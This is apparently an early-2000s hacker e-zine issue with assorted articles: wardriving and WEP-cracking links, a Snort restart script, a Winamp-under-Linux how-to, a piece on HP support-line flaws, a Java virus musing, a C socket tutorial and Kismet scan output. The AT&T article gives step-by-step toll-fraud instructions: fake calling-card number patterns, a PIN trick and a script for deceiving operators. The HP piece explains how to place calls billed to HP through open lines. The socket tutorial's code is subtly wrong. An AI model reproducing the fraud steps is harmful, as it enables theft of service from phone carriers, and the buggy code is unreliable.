	  See document: http://www.verisign.com/support/tlc/wap.htm
        o 6.2.2 IETF web page
	  See document: http://www.ietf.org/
        o 6.2.3 IEEE 802 web page
          See document: http://grouper.ieee.org/groups/802/dots.html
        o 6.2.4 Unofficial 802.11 Security
          See document: http://www.drizzle.com/~aboba/IEEE/
        o 6.2.5 WAP Server Certificates
          See document: http://www.entrust.net/wapserver/index.htm
	o 6.2.6 WEP Faq
          See document: http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html
        o 6.2.7 WAP Forum
	  See document: http://www.wapforum.org/what/technical.htm
	o 6.2.8 WAP Development Tools
	  See document: http://www.palowireless.com/wap/devtools.asp
	o 6.2.9 Adventures In Wardriving
	  See document: http://www.athomeprd.com/~jimb/wardriving/index.html
	o 6.2.10 Capture and Crack utilities
	  See document: http://Www.airsnort.shmoo.com
	  See document: http://www.airsnort.shmoo.com/
	  See document: http://www.dachb0den.com/
	  See document: http://www.netstumbler.com/
          See document: http://telia.dl.sourceforge.net/sourceforge/wepcrack/WEPCrack-0.0.10.tar.gz
          See document: http://www.personaltelco.net/index.cgi/WirelessSniffer

--------------------
---> References <---
--------------------
www.blackhat.com
http://www.google.ca/search?q=wardriving+*.ppt&hl=en&ie=UTF-8&oe=UTF-8
http://airsnort.shmoo.com
http://www.athomeprd.com/~jimb/wardriving/index.html
http://www.blackbeltjones.com/warchalking
http://www.boulderlabs.com/vulnerable.ppt

----------------------------------------------
---> Peace to you all:all from NtWaK0     <---
---> www.safehack.com                     <---
---> www.legions.org                      <---
----------------------------------------------


--------------------------------------------------------------------------------
[KV's 30 Second Scripting Solution]==========[Digital Ebola <digi@legions.org> ]
--------------------------------------------------------------------------------


Ever wish Snort would start itself after it dies? Drop this into your crontab,
and never worry about starting it again... /bin/go is your Snort init script.
Customize to taste. Works under Debian.

#!/bin/bash
SNORT=`ps ax | grep snort | grep -v grep|awk '{print $1}'`
if [ -x $SNORT ];
 then

 /bin/go > /dev/null
 date >> /var/log/snort-health.log
 echo Snort Restarted by Daemon >> /var/log/snort-health.log
 echo ----------------------------- >> /var/log/snort-health.log
 echo
 else
 echo Snort up. > /dev/null
 fi


--------------------------------------------------------------------------------
[XMMS-Winamp How-To for Gentoo Linux]========[feach <blie@cylentkreationz.com> ]
--------------------------------------------------------------------------------


Ok so you want to run Winamp plugins with XMMS on your Gentoo system?

First thing first.
If you do not have wine installed you will need to install it

# emerge --clean rsync;emerge wine

If you have a older version of wine then

# emerge --clean rsync;emerge -u wine

After thats all done,
You will need to download this plugin ( I am assuming you already have XMMS )

http://www.emulinks.de/xmms-winamp/xmms-winamp-0.4.tar.gz

You will need to extract the files and cd into the plugin source directory

        $ tar xvfz xmms-winamp-0.4.tar.gz;cd xmms-winamp-0.4


Then edit the configure file

        $ nano -w configure

Change line 5 to        ( You can find what line your at by pressing  Ctrl+c )

       for i in /usr/wine/bin

Then Change line 30 to

       for j in "" -L/usr/wine/lib

Then change line 46 to

       for i in /usr/wine/include

Then change line 64 to

       for i in /usr/wine/lib/wine

Press Ctrl+x and hit Y to save the file. Now run configure

        $ ./configure

Then you need to edit config.mak

        $ nano -w config.mak

Change line 3 to

        WINEINCLUDES = /usr/wine/include

Press Ctrl+x and hit Y to save the file. Now open Makfile

        $ nano -w Makefile

Change line 32 to

        winebuild -fPIC -DSTRICT -sym winamp.tmp.o -o winamp.spec.c -exe winamp -mgui -L/usr/wine/lib/wine -lkernel32 -luser32 -lgdi32

Then change line 35 to
					
        winebuild -L/usr/wine/lib/wine -L/usr/wine/lib -spec winamp.spec -o winamp.spec.c

Press Ctrl+x and hit Y to save. Then type

        $ make;su -c "make install"

After make is done it will ask you for the root password
so you can run the command      make install

WooHoo after that you got it compiled.     :-)

Now you need to download a version of Winamp ( XMMS does not tell you this. )

I tried several and only got winamp 2.24 to work for me

        http://68.14.155.25:538/win/
I'm not going to directly link you to the file,
Please look for it in there or on some other website.
Now Type

        $ wine winamp224.exe


Go ahead and install it. Now download winamp plugins you like from winamp.com
or some other website of your choice and install the same way as you did Winamp.

        $ wine pluginName.exe


After that is done start XMMS and hit Ctrl+v
You should see

        Winamp Meta-Plugin  [libwinamp.so]

as a option, select it, hit configure and fill in your values for the
plugin directory and plugin dll you need. Hit  OK and then OK from the
previous screen then go to your XMMS menu and then visualization options
and start up your plugin.

--feach


--------------------------------------------------------------------------------
[Your Privacy and HP]===============================[b0ld <submit@legions.org> ]
--------------------------------------------------------------------------------


Ever call tech support for an HP product that you owned? Well maybe you might 
want to keep on reading this article.Technical support is one of those lovely 
features that each and every software / computer industry giant has to service 
customers. Like any other company the agents go by a call script. One of the 
main parts is to have your first and last name as well as your telephone 
number with the area code first. This is actually optional, Remember that 
"YOU" are giving them the information. You can actually remain anonymous 
unless its a "serious" issue in which the product would actually need to be
repaired, then they will require all of your information. The agents "CANNOT" 
refuse technical support if your product is within warranty.

Now onto some interesting info.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

HP's call routing systems works off an actual VoIP. Even though
you maybe calling the phone number for technical support it then gets
routed to a VoIP terminal. The VoIP terminal is primarily being used to
cut costs on machinery service and maintenance, But there are
flaws within the VoIP system that they have and what your going to learn
will interest you and may even shock you. The first loop within
there system are the voice recognition service in which they have. Simply
this is a type of service that is supposed to be "hands free"
and "high tech", however the system has proven unsuccessful. On many
occaisions you may think that your being routed to the proper product
support group. Next thing you know after being on hold for 5 minutes to
get an agent you end up finding out that your in the wrong department.
So right there you just spent 5 minutes of wasted long distance time.
Another problem as well is that sometimes you would get an "echo"
effect when your talking to an agent. This makes the situation difficult
because you can hear yourself say the same thing almost 4 times.
There is also frequent disconnects while on hold as well. Some speaker
phones and cell phones actually tend to get disconnected from the
terminal itself because there is now "activity" on the line.

Now comes the scary part.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

So you just finished talking to an agent and the problem is either fixed
or not fixed... In any occasion you need to make a phone call
that basically consists of confidential information. It could be anything
from giving out a credit card number or company policy information
that you'd only talk to "authorized" people about..  Well it has come to
my attention that because of HP's routing system being so "High Tech"
It has actually done something that generally is against the law. What
tends to happen periodically during the day is that after a customer
hangs up normally the terminal would receive the data that the customer
hung up so it should close that open line, how ever it would keep itself
open which acts like a "tapping" device. The agent on the other end could
have there mic on mute and they can now listen to any of your phone
calls. This issue has been raised alot during meetings but its seemed
that it basically brushed off anyone except for the individual reports
this issue. The only way that you can really see whether they were
actually listening in is if you have one of those devices that would
light up telling you that the line is already being used..

Another interesting fact.
-=-=-=-=-=-=-=-=-=-=-=-=-

Another flaw in the VoIP terminal is if you end up getting an agent and
the agent puts you on hold and then you hear a dial tone, then
there is chance for you to use the terminal open line and make and out
going calling call anywhere without it affecting your phone bill. Its
been basically proven after I decided to do some investigating with the
terminal. It would be a charge that would go on hp's bill and not yours.
And to be quite honest I wouldn't doubt that you can hold up a party line
and go undetected.

Another scary part
-=-=-=-=-=-=-=-=-=-

HP has adopted a new system to do there servicing on there products. The
agents use a "web-based" script that enters the necessary information in
order to either service a machine or even purchase a machine. What really
caught my attention on this matter is when a simple question was asked.
Someone asked one of the key people who is in charge of this system "what
encryption are you using", and the scary thing is is that they could not
positively answer that question. Although they claimed that the
information is being "piped" directly into the system and no outside
sources can penetrate. Well that theory was actually challenged
and the system failed horribly. What's logged on this system is very
sensitive data about the customer which includes credit card numbers,
names, address's, and phone numbers. Infact an agent can actually punch
in a credit card number into this database to try and find someone. The
odds of thinking a number just out of the blue is very slim however it
CAN be done, and with the data that is being sent and received by the
server is really isn't that all secure either. It just takes the right
person to find out the right block of ip's and sniff out the data. There
is so much data being sent across that network that even though you may
not use the proper stealth methods, you'll most likely be undetected
anyways. The server itself is also very unstable when trying to work with
it. It crashes all the time making information either saved uncorrectly
or lost. Its really to bad that they use this system. They are killing
off the old system that is actually unix based. They programed win32
shell to work with this system and it has always been reliable. Believe
it or not the mainframe of the old system actually
works off a Sun Microsystems server machine which is probably the most
reliable piece of computer machinery out there.

Closing remarks
-=-=-=-=-=-=-=-

So I hope you've learned a little something here, sure its not all that
technical but it basically makes you think twice before you actually give
out your information out there. Really you don't know who is on the other
line and how poorly secure your information is being held within the
company's database but now you know.

--------------------------------------------------------------------------------
[Phone Phreaking Lives with AT&T]==================[Cobra <cobra@hfactorx.org> ]
--------------------------------------------------------------------------------


So with phreaking slowly on the decrease, and the building of tools &
boxes to use on phone networks is gettig fewer and further between. So why
not just use there own network against them, to make your free calls. Who
or What network would be stupid enough to allow such a feat. Well people
look no further than your own country. AT&T. Below I explain how one would
make free calls through AT&T's calling card service.

To start with You will need to find the number for AT&T's calling card
service, that you need to dial from your country. Now thankfully AT&T have
been thoughtful here, and you can obtain this list from there website at
www.att.com. Now for this example I am going to use the number that I
would dial from Ireland. So here we go.
 
From a payphone, Cell phone or even your house phone, you dial 1800 55
0000 from Ireland. *I think it is 1800 555 0000 for the US but check
first*. Now after dialing that number you will get 'Welcome to AT&T please
enter the number you are calling now'. So enter in your number
here. Keeping in mind people that for international calls you replace the
00 on the country code for a 01. So for example, The Irish country code is
00353, so you would instead dial 01353. Right now that that's cleared up,
we shall move on. After entering your number it will ask you 'Please enter
your calling card number and pin  or credit card number and expiration
date'. If you are calling anywhere outside the US you will only be asked
to enter your calling card. Now here comes the fun. When entering the fake
calling card, you must remember a few rules;
 

1) Calling card ALWAYS begins with 2124 or 2123 (2124 is best)

2) Never use a 0 after the 2124. So no 21240.

3) Calling cards are only 10 digits long.

So when entering your calling card, you punch in 2124<6 random
digits>. Then straight after you enter your calling card number, you then
need to enter a pin. So for your pin you enter 4 pound keys. such as # # #
#. It will then ask you to re-enter your pin # # # #. Now for some weird
reason there system HATES the # key. And it comes up on there system that
you have been disconnected from your call and you are trying reconnect. So
now after you have dialed in your pin number twice you will get through to
an AT&T operator. Now for god sake DONT PANIC!!. This is where you shine
up your social egineering skills. You will be greeted with a 'AT&T How may
I help you'. Now keeping it REALLY polite and in yourmost posh and
business like voice you say ' Hello! Could you redial the same number for
me please.. Thank You!'. Now 8 times out of 10 you will get the response '
Certainly, One second, Sorry you had trouble' and you will be through. But
there is still the other 2 times out of 10 where you wont get through and
you will have to ring back and try again. Trust me though you will get
through may take a few trys. But it is well worth it. Because if you are
ringing Australia which costs like 50 cents a minute, through at&t you can
stay on the phone as long as you like and the bill goes straight back to
at&t. So you can now call anywhere in the world and put it on AT&T's tab.

Now to add a little story to all this, I will explain a few problems I
have had an how I got around it. Before my girlfriend moved here with me,
she used to live in Canada. So naturally I was calling her everyday for
like 5 hours at a time. Now AT&T will catch on to this volume of usage if
it is being directed to one number. Now on Feb 12th this year(2001) at&t
banned all calls from Ireland to Canada through there calling card
service. The ban was online active for 2 days untill they found away of
stopping the calling. On Feb 15th I was arrested for theft of service. But
because AT&T could never prove that I was doing illegal acts. The case got
dropped. But there was an outcome. I was now no longer able to dial my
girlfriends number from anywhere in the country from any phone. It had
been banned through the IPC (Irish Phone Companies). Now the way I got
around this was simple. I remembered that there was an AT&T Canada. So
basically what I did there was. Ring AT&T America and dialed AT&T Canada
through them *as the ban was lifted*. So from AT&T Canada I was able to
use a similar trick to the AT&T US to get my call to go through. And bobs
your uncle. I was back on the track.

For people living in Ireland, It is worth investing in an Unregistered
SpeakEasy Cellphone and leave CLI off. Keeps you that little bit more
anonnymous when making your calls.

--------------------------------------------------------------------------------
[Security Method and Technique]==============[Digital Ebola <digi@legions.org> ]
--------------------------------------------------------------------------------


/* Welcome to the corperate rant. =) */

Security is a word that most corperations fear. They would like to sweep it
under the rug, and rightly so. Security costs money, security costs time, 
and security brings skeletons out of closets that people would rather 
remained shut. Not to mention, that highly specialized security engineers
are hard to find. It's more then training; it's a knack. You are either good
or your not. Even the good can be compromised; the posing parties will be
compromised everytime.  

Justification of security, should not be a hard task. Millions of dollars
of present revenue can be lost due to a breach. Billons of dollars of 
FUTURE revenue can be lost to that same breach. In the digital world, you
have to protect your investments, you clients investments, and all data 
associated with each. 

The blood of the security world, is information. The person that has the 
information, will win the battle. A properly secured network can go from 
properly secured to blantantly open in the matter of minutes. This is why
it is important to take any information you can get, no matter the source.
Once aquired, the information can be double checked for its authenticity,
and acted upon. 

My personal methodolgy is the "Less is More" set of methods. Your security 
policy should be written custom against the set of users or tasks that will
be utilizing the resources. You give exactly enough for the set tasks to 
be completed and nothing more. Default installations, will result in a 
compromise. Default policies, will result in a compromise. The only way 
is to customize each service or resource for the job. 

This methodolgy is a hard one; you at once notice the fine line between 
security and usability. The more flexible the system is to it's users, the
more vulnerable it is to its attackers. It is important that such things 
be included in the policy as password management techniques, password 
scheming techniques, and password transport should ALWAYS be held in 
encrypted media when being sent over the wire. Sending it thru email or 
writing it on the whiteboard can result in a breach. 

Employees should not have their day to day activities hampered as to how 
they should utilize resources. Instead, they should be trained on the dangers
and be taught to look for signs of digital agression, or inconsistencies. 
They should be taught the whys of the security policies, and the only 
hampering they should have to suffer through, should be the use of the 
right tools to keep themselves in check with the security policy.
In the end, this works better, because the employee can use that knowledge 
and common sense to avoid problems. Keep in mind, this ties right in with 
password control, the human factor is responsible for 3/4 of all breaches.
At no point should censorship be included with the policy, as you turn your 
employees into sheep that follow directions; if any other aspect was missed
in the policy, then you are still compromised. If trained, the employee is 
no longer a sheep, they can actually aid you in security knowledge, because
they are utilizing resources firsthand.

There are many technical tricks and methods that can be incorperated into 
your security policy. The first thing most overlooked, is not technical 
at all; inventory control. Most companies do not have good inventory control,
and this is one of the most crucial things to have. You must know what the 
machine is, how it is configured, what services are running, and who has 
access to it. Patch revisions need to be noted, along with a set of 
identifiers that are machine specific. IP, MAC Address, and a physical serial
number, are very important pieces of information. If you don't know what you
have on your network, you don't know what to fix if there is a new exploit 
or advisory released. The security policy in itself should also contain 
guidelines for each operating system or piece of equipment. What the 
acceptable configurations are, and how they should be used. This, of course
takes alot of time, and alot of meetings. Everyone involved has to agree. 
It is important to secure each OS on a individule basis. In a large network,
this is next to impossible. This is why the OS guidelines are needed. 

In addition to having a secure OS, you should also consider writing IDS 
requirements into the policy. Host-based IDS is a very useful item to have,
just in case the unthinkable happens. Secure logging mechanisms and kernel 
monitoring are essential to tracking down the source of the breach. There 
are many good free software packages in the industry that accomplish this.

On the network side of things, there should be a Network Based IDS. This
gives you a perspective on what kind of traffic is running across your 
network, and gives the ability in most instances, to trend attack patterns.
This aids your research in some ways, because if you start seeing alot of 
scans on a certain port, chances are that something new has been released, 
and you are going to have to patch. I will also touch lightly on firewalls;
a firewall is NOT security. Firewalls are icing on the cake. A lot of 
companies depend on firewalls to protect them, and often there are ways
to either circumvent the firewall (UDP can yield interesting results) or 
maybe there is another access point that is more vulnerable (vpn, dial-in).
The point, is to keep track of everyone authorized to enter the network, 
and to keep track of all access points, not just the front door. And, 
remember, sometimes the front door can be kicked in. If a attacker breaches,
and you have secured the hosts behind the firewall, and you are running 
vlans.. there is not going to be anything to do. They will be dead in the
water, and your company does secure business for another day.

I hope this writing can be of some use to someone. It is not EVERYTHING, but
it is alot of things I consider important to security. I find that companies
tend to overlook these things, and it has become quite a pet peeve. 

--------------------------------------------------------------------------------
[Java Virii]==================[Archimedes <archimedes@security-foundation.net> ]
--------------------------------------------------------------------------------


Are we: public ?  do we have: class ? so begin the: Rambling {


As is standard practise for anyone writing anything now, I'd like to
thank O'Reilley for publishing books on CD-Rom, which everyone is always
happy to pay £50 upwards for... or for about half the price they
could get a lot more useful information AND O'Reilly texts from their
next door neighbour and other internet users... I DO NOT SUPPORT PIRACY
of ANY kind..... Archatos stfu now before i slap that FTP is
for educational purposes only!/*

Viruses? In Java? Surely not! Isnt the world made of Milk and Honey?
(and more milk ;)

What would the point of writing a virus in Java be?

How could that muppet approach the problem(s)?

Oh come on! It's Java!! what do you mean what would the point be, a well
written Java virus would be able to sit in anything from your Mobile
telephone *cough Nokia 92xx* through your BMW engine monitoring
systems, home PC, Flight navigation gear and most importantly.....
The Beer refrigerator.

Java exists on so many platforms already (and has almost infinite
possibility to be implemented on almost anything with enough room for a
VM, such as your handy wrist watch using the J2ME.)

If Someone was to write a virus, one which just reversed all text
displayed by the System.out.* classes, what would happen? Would we end up
reading the time and the atmospheric temperature through a mirror?

What do you think about when someone says "secure"? No Digi, not a
chastity belt.

Java is a "Secure" language, take all your thoughts about what you think
security is and then write them down (ya right) and compare them to
these:

SUN implemented only 2 major security aspects in Java 1.0, these being
that Java programs should be "Safe from malevolent Programs" (Trojan
horses etc) and that Java Programs should be "Non-intrusive", ie they
shouldnt have the ability to gather personal information on the host
computer or the hosts network.

The ability for authentication of Java programs was made in Java 1.1 and
when Java 2 (Java 1.2) came out they added the ability for encryption.

What does all this mean?

Java just ain't as secure as everyone makes out?

You decide.

Lets look at one feature, when running applets the JVM only allows
communication with the server, and the client, no third parties or calls
to third parties are allowed by the applet.

Now then, all Java code installed locally on the system is trusted
implicitly. All code downloaded over the network, however, is untrusted
and run in a restricted environment called the "sandbox" (all you
VX'ers who need this explaining to you should be shot, CRETINS!)

This Sandbox basically, and briefly takes the form of the Java Security
Manager (herein JVMSM)

How/Can do you Bypass this?

Well, the Java SecurityManager is probably the best place to start, but
in Java Developers words "Use of a custom SecurityManager is highly
discouraged" basically meaning you may well screw up and leave
yourself open to malicious content, now WHO would want that!

http://java.sun.com/products/jdk/1.2/docs/api/java/lang/SecurityManager.
html

One thing to bear in mind is that to date, the JVM released itself isnt
flawed...only implementations of it, IE / Nutscrape. (Sounds a bit like
NT4 being designated a Secure Operating system by the US DoD...didnt note
that it had no NIC, Modem, Floppy disk or CD-rom drive in it at the time
did they?)

The pretty much only way to be garuanteed bypassing of the
Applet SecurityManager is to overwright the target's JVMSM, if you can do
this on a host you already have a manner of which to upload pretty much
anything, be it a rootkit or another executable....now THERE is a
tangent...Java as a multi platform rootkit../*notes for future
ramblings/*

What I consider as the most evident "Virus" written with Java is Brown
Orifice, a proof on concept code which once again, doesnt actually flaw
the JVM...but Nutscrape itself.

--

People are turning to Java, now more noticably (to me atleast) for
writing exploits, no longer will you need to worry about the fact that
your not running x operating system or Y operating system...just:
]$ java file

and there you have a exploit working on whatever platform. (admittadly
some of the exploits written in Java have been written using depreciated
methods..one word, slackers!)

*/for reference, when initiating use of the keyboard the structure now
is:
BufferedReader k = new BufferedReader(new InputStreamReader(System.in))
/*

How do we want to spread virii?

The JVMSM when it comes to locally running applets is somewhat
different.

Well, if we can get the target to run the .class file locally, and
within the "normal" program is our friendly infector/executor then we
have the ability to do whatever we want..

For those who just woke up scroll up a it to where I mention that
locally installed Java Applications are trusted implicitly. So anything
your user profile can access, the java code can access (yes it is
possible to run all Java code in a sandbox, be it a JavaBean, servlet of
a full blown app, but for most lusers its just not something that they
will be thinking about when accessing their databases etc...or
running your P2P client which happens to have a bit more P2P about it
that they think.) As with most other languages there are methods to use
external processes, in Java this comes in the form of the
java.lang.Process (see the lang reference if you want to know more about
it in particular), so to do a bit or an O'Reilly-ism {
..
java.util.Properties config:
String cmd = config.getProperty("sysloadcmd");
if (cmd != null){

Process p = Runtime.getRuntime().exec(cmd);
ImputStream pin = p.getInputStream();
InputStreamReader cin = new InputStreamReader(pin);
BufferedReader in = new BufferedReader(cin);
String load = in.readLine();
in.close();
}
....
}

Use your imagination...can you pipe chargen to a completly different
process? (from DoS methods we know that yes we can dont we) Can one
create buffer overflows locally in order to execute other
commands which you want to use as you can in c or c++...?

Could all of this facilitate in the spreading or a virus?

There are enough brains in the world to solve third world debt, use
water as fuel and devise practical one use key encryption... if someone
hasnt got it working by now it wont be long.

Wont be long before our Governments cover it up that is.

}

All complaints can be sent to digi@legions.org
Anything else can be sent to me.

Next time maybe I should start writing a bit more in advance...

Archimedes, 24/07/02
archimedes@security-foundation.net

--------------------------------------------------------------------------------
[The Scene Is Seen As Absolute Shit]==============[2dHero <submit@legions.org> ]
--------------------------------------------------------------------------------


With each passing year as the internet grows more, and more,
finding specific information your looking for becomes increasingly
harder. Not because it's no longer in existance, but because
it's surrounded by garbage. It's becoming more, and more like searching
through a wastebasket for important documents that you threw away on
accident. The same can be said for the hacking community.

Often people wonder why these kids email them asking for a mentor to
teach them about hacking, or how they hack hotmail, or how do they get in
their girlfriends webpage at angelfire.com to do a defacement. I'll tell
you why. The ones who are serious about hacking in
general who are using the W3 as their portal to knowledge search for
hours on search-engines, and repeatedly get flooded with websites
containing nothing but ICMP Ping Flooders, ICQ Flooders, Email Bombers,
and docs on how to card a brand new Dell Laptop. Yeah, it's annoying to
get five emails from kids in Romania asking you to teach them a thing or
two, but can you really blame them? Their searching for a needle in a
haystack. The others who are only interested in Hotmail, and Trojan
Horses know no better. Everything they find leads them to that direction,
and they have absolutely no clue that theres a whole hell of alot more to
hacking than things of that nature. It's the idiots who are supplying
this garbage that should be flamed more so than the kids.

Look at IRC; so sweet, and sour. The public channels have become so
infested with bullshit some days it's almost sickening to look at the
conversations. What could be a great way to share information pertaining
to the subject..is not for the most part. It's no longer about what you
know, or what your willing to share. It's about flirting, making an
online girlfriend, thirty year old women playing house to pass the time,
kissing ass for Operator Status in a big 'hacking' channel, or idling for
the sole purpose of having a longer idle time than Z3r0wk3wl. Off topic
discussion is fine by all means, but when it's all you have, why not
/part, and /join #chataway? People who are contributing absolutely
nothing to the community, and know absolutely nothing more than how to
boot, connect, and fire up mIRC with ops in these channels /kb-ing what
could be knowledgible people, because they think their music sucks or for
no reason at all. What the fuck? Why even op these people in channels
like that when you KNOW they know absolutely nothing. Listen, the vagina
they may possess halfway across the globe will never serve you any
purpose. Even the +s/p channels now days are about the same way.

This article is obviously a rant, and nothing more. It will change
absolutely nothing, but maybe it will get a few thinking about exactly
where the scene is going; to hell. Not all websites, and IRC Channels are
full of shit. There are a...few IRC Channels around that are
worthwhile, and lots of webpages, but the scriptkids, carders, power
tripping cluebag ops, digital teenage pranksters, and horny
thirty-something year old women by far outnumber any of the legit
contributors.


--------------------------------------------------------------------------------
[Linux C Socket Programming]=====================[??????? <submit@legions.org> ]
--------------------------------------------------------------------------------

/* Editor's note: Who the hell sent this article? */

Opening a socket
int socket(int domain, int type, int protocol);

In unix environments sockets are labeled as file descriptors or fd's for
short, so in essence open a socket is the same as opening a file, because
you are reading and writing to an Input/Output stream or IO stream. File
descriptors are refrenced as integers, which the socket call returns.

-------------------------------------------------
int fd;
fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
-------------------------------------------------

In this code section we declare an integer fd and use it to store the
descriptor returned from socket() for later use. The first argument in
socket() is the domain or address family or protocol family, usaully
PF_INET or AF_INET(both the same as defined
in /usr/include/linux/socket.h or /usr/include/bits/socket.h) PF_INET is
protocol family IPv4 Internet Protocols. The next argument type, is the
type of packet to send, usually SOCK_STREAM, which is used for TCP or
SOCK_DGRAM for UDP(these can also be found defined in
/usr/include/bits/socket.h). The next field is the protocol, if we use 0
for this field the kernel should automatically enter the right value for
us, you can also, grep 'protocol' /etc/protocols which will give you the
number, which would help make the code more portable. I used IPPROTO_TCP
which is defined in /usr/include/linux/in.h as 6, which is the same
number the /etc/protocols would give. UDP is 17 or IPPROTO_UDP is equal
to 17. socket() returns socket file desciptor on success, -1 on error.

Making connections
int connect(int socket_file_descriptor, struct sockaddr *server_address,
int address_length);

Connect is used to make UDP and TCP connections. After we have
successfully created a socket(we need the socket file descriptor for
connect()) we can make a connection, but not before we fill in the
struct sockaddr_in.

-------------------------------------------
int fd;
struct sockaddr_in target;

fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&target, '\0', sizeof(sockaddr_in));
target.sin_family = PF_INET;
target.sin_port = htons(23);
inet_aton("127.0.0.1", &target.sin_addr);
connect(fd, &target, sizeof(struct sockaddr));
-------------------------------------------

First we declare an int to store the return value of socket(), next we
declare a struct sockaddr_in. The reason we declare a struct sockaddr_in
is connect takes a struct sockaddr value as one of it's arguements to
fill this struct we use the corresponding protocol structure from
/usr/include/netinet/in.h, ours being Internet. we open a socket which
was explained before and store the return file descriptor value in fd.
struct sockaddr_in is padded so it is the same size as sockaddr so we use
memset to NULL out and fill the padded struct(man memset for more info).
We now enter value for the members in this structure, target.sin_family,
which is the protocol family again we want IPv4 Internet so we specify
PF_INET.

Next is target.sin_port, which is the port number we want to connect to.
We use htons or host to network short which it stands for, the reason we
use this is our host byte order is least significant byte first, the
Internet use most significant byte first. For example for our address
127.0.0.1 the hex value would be 0x7f000001, most significant byte first
would store it as 0x100000f7, thats an IP address though which is a long
integer which we would use htonl for(host to network long) a port is a
short int, between 0 and 65535, same idea smaller value. Next we use
inet_aton to convert our IP address 127.0.0.1 from numbers and dots into
binary and store it in a struct in_addr. Well we are lucky sockaddr_in(as
declared in /usr/include/netinet/in.h) has a struct in_addr member, it is
sin_addr. But since inet_ntoa is looking for a struct in_addr pointer we
need to use the & symbol to store it in the address of, like a pointer
points into an address. Now last but not least we are on connect. connect
take 3 arguments the first being our opened socket, which we stored in fd
so fd is our first argument, the second argument is a struct sockaddr
*server_address. we use &target to simulate a pointer to our struct
sockaddr_in which is a compatible struct with sockaddr, it is padded to
be the same size, the last argument is the address length which is stored
in struct sockaddr so we use a simple sizeof(struct sockaddr) to get
that. connect() returns 0 on success, -1 on error.

Simple Program to make a TCP connection to 127.0.0.1 port 23
-------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
/* these next two are for socket() and connect() */
#include <sys/types.h>
#include <sys/socket.h>
/* for struct sockaddr_in */
#include <netinet/in.h>

int main()
{
  int fd;
  struct sockaddr_in target;

  /*
     this creates our TCP socket, and checks and see if it returns -1,
     if it does we print the error it recieved and exit the program,
     for UDP instead of SOCK_STREAM, use SOCK_DGRAM
  */
  if((fd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("Socket");
      exit(-1);
    }

  memset(&target, '\0', sizeof(struct sockaddr_in));
  target.sin_family = PF_INET;
  target.sin_port = htons(23);
  inet_ntoa("127.0.0.1", &target.sin_addr);

  /*
     we make our connect call and check and see if it fails if it does
     we print the error and exit
  */
  if((connect(fd, &target, sizeof(struct sockaddr))) == -1)
    {
      perror("Connect");
      exit(-1);
    }

  printf("Connection completed to 127.0.0.1 port 23\n");
  /* close our socket file descriptor */
  close(fd);

return 0;

}

-------------------------------------------------------------------------------

Sending and Receiving Data
-For TCP or UDP-
send(int socket_file_descriptor, char what_to_send[], int message_length,
int flags);
recv(int socket_file_descriptor, char receive_buffer[], int buffer_size,
int flags);
-For UDP-
sendto(int socket_file_descriptor, char what_to_send[], int
message_length
, int flags, struct sockaddr *to, int to_length);
recvfrom(int socket_file_descriptor, char receive_buffer[], int
buffer_size
, int flags, struct sockaddr *from, int from_length);

After we have established a TCP connection or a peer to peer UDP
connection(UDP is a connectionless protocol but connect calls can be made
using it, the sendto() and recvfrom() can be used without a connect call
on UDP sockets), we can send and receive data across the connection using
send and receive calls. Both a realativly easy to use, we plug in our
already connected file descriptor as the first argument for both, next we
supply a buffer or a message, both just storage variables one for sending
in send() and one for receving in recv(). The third argument these differ
in that send wants the message length while recv wants the buffer size,
so for send we just do a strlen(message); to return the string length of
the message and for receive we do a sizeof(buffer); to get ther size of
our buffer. The last argument is if we want to use flags, we really
shouldn't bother with these unless we have a specific intent, but if you
want to know the flags can be found in the man pages for send and recv.


Simple program to make connection to 127.0.0.1 port 80 and get the
header for the web server root directory or main web page

------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
/* these next two are for socket(), connect(), send(), recv()*/
#include <sys/types.h>
#include <sys/socket.h>
/* for struct sockaddr_in */
#include <netinet/in.h>
int main()
{
  int fd, bytes;
  char buffer[256], *message = "HEAD / HTTP/1.0\r\n\r\n";
  struct sockaddr_in target;

  /*
     this creates our TCP socket, and checks and see if it returns -1
     if it does we print the error it recieved and exit the program
  */
  if((fd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("Socket");
      exit(-1);
    }

  memset(&target, '\0', sizeof(struct sockaddr_in));
  target.sin_family = PF_INET;
  target.sin_port = htons(80); /* port 80 is HTTP port */
  inet_ntoa("127.0.0.1", &target.sin_addr);

  /*
     we make our connect call and check and see if it fails if it does
     we print the error and exit
  */
  if((connect(fd, &target, sizeof(struct sockaddr))) == -1)
    {
      perror("Connect");
      exit(-1);
    }

  printf("Connection completed to 127.0.0.1 port 23\n");
  printf("Sending %s\n", message);
  /* send our get request */
  send(fd, message, strlen(message), 0);

  /*
    recv returns the number of bytes it receives on success we
    use this to NULL terminate our receive buffer array
  */

  bytes = recv(fd, buffer, sizeof(buffer), 0);
  buffer[bytes] = '\0';
  printf("We received:\n%s\n", buffer);

  /* close our socket file descriptor */
  close(fd);


return 0;

}

-------------------------------------------------------------------


Well thats all for now, maybe next KV issue I will go further in detail
on the use of sockets we will see, but for now back to hacking out some
code.


--------------------------------------------------------------------------------
[Dallas Metroplex Wardriving Data]===========[Digital Ebola <digi@legions.org> ]
--------------------------------------------------------------------------------

Hi! Recently, I went out wardriving with some friends. We had a 
blast, and managed to actually get lost with a GPS in the car. I am not sure
how we did that, but we did. The published results from walledcity.legions.org
(my laptop) is below. The path we took (this isnt complete by any means, but
its a good trail to follow) is Grapevine to I-635, I-635 to I-35, I-35 to 
Commerce Street, Commerce Street to I-75, I-75 to I-635 and back to Grapevine.

For those that are not familiar with the area, please consult a map on 
Dallas, Texas, USA. =)

All data here was grabbed with Kismet. I do not have the GPS data, because
that was on another lappy. This data is current as of 6-22-2002.


Network 1: "l33t" BSSID: "00:02:2D:00:12:27"
    Type     : À¾ÿ¿¼¾ÿ¿`
Sat Jun 22 20:30:48 2002
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 4756
    Data     : 193
    Crypt    : 0
    Weak     : 0
    Total    : 4949
    First    : "Sat Jun 22 20:30:48 2002"
    Last     : "Sat Jun 22 21:06:50 2002"

